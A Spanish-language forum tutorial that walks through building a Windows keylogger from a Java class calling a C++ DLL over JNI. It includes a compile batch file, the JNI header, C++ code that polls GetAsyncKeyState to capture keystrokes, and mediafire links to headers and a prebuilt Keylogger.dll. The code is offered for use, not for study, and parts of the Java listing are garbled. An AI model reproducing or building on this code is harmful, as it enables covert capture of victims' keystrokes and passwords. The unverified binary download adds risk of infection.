Necesitas los archivos:
jni_md.h
http://www.mediafire.com/?wt30y33j4mg
jni.h
http://www.mediafire.com/?zngnmognn5h
Los cuales incluiran en el directorio "C:\Archivos de programa\Dev-Cpp\include"
- Paso 1: Creación del Archivo .java
Importante: No tiene que estar en ningun Package
Código
private boolean running=true; private int value =0; private native int get(); static { /** * Carga de la DLL */ } @Override public synchronized void run(){ while(running){ value = get(); /** * Optenemos la Tecla Precionada */ /** * La Mostramos en la Salida Estandar */ } } }
- Paso 2: Creación del .bat para compilacion JNI (Opcional)
Nombre: CompilerJNI.bat
Código
@echo off title Java set/p j= .java : echo. call javac %j%.java call javah -jni %j% pause echo. exit
- Paso 3: Generando el . Class y la Cabecera .h (JNI)
Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.
Podrias compilar direcamente desde la consola
javac Keylogger.java
javah -jni Keylogger
Tienes que tener algun JDK
- Paso 4: Generando la DLL
Abrimos el DEV++
File--->New---->Project--->DLL
Luego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) ,
remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.
Código
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h>/* Header for class Keylogger */ #ifndef _Included_Keylogger #define _Included_Keylogger #ifdef __cplusplus extern "C" { #endif #undef Keylogger_MIN_PRIORITY #define Keylogger_MIN_PRIORITY 1L #undef Keylogger_NORM_PRIORITY #define Keylogger_NORM_PRIORITY 5L #undef Keylogger_MAX_PRIORITY #define Keylogger_MAX_PRIORITY 10L #undef Keylogger_DELAY #define Keylogger_DELAY 20L /** Class: Keylogger * Method: get * Signature: ()I */ JNIEXPORT jint JNICALL Java_Keylogger_get (JNIEnv *, jobject); #ifdef __cplusplus } #endif #endif
- Si da problemas
Este archivo tiene que estar en
ahora remplazar el contenido de dllMain.cpp por este:
[/list]
Código
#include <iostream> #include <windows.h> #include <fstream> #include <jni.h> #include "Keylogger.h" JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){ while(true){ for(int c=8;c<=222;c++){ if(GetAsyncKeyState(c)==-32767) return c; } Sleep(30); } }
Y guardar como Keylogger.cpp
Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL
Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.
Código
public class Main { new Keylogger().start(); } }
Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g
Un Saludo.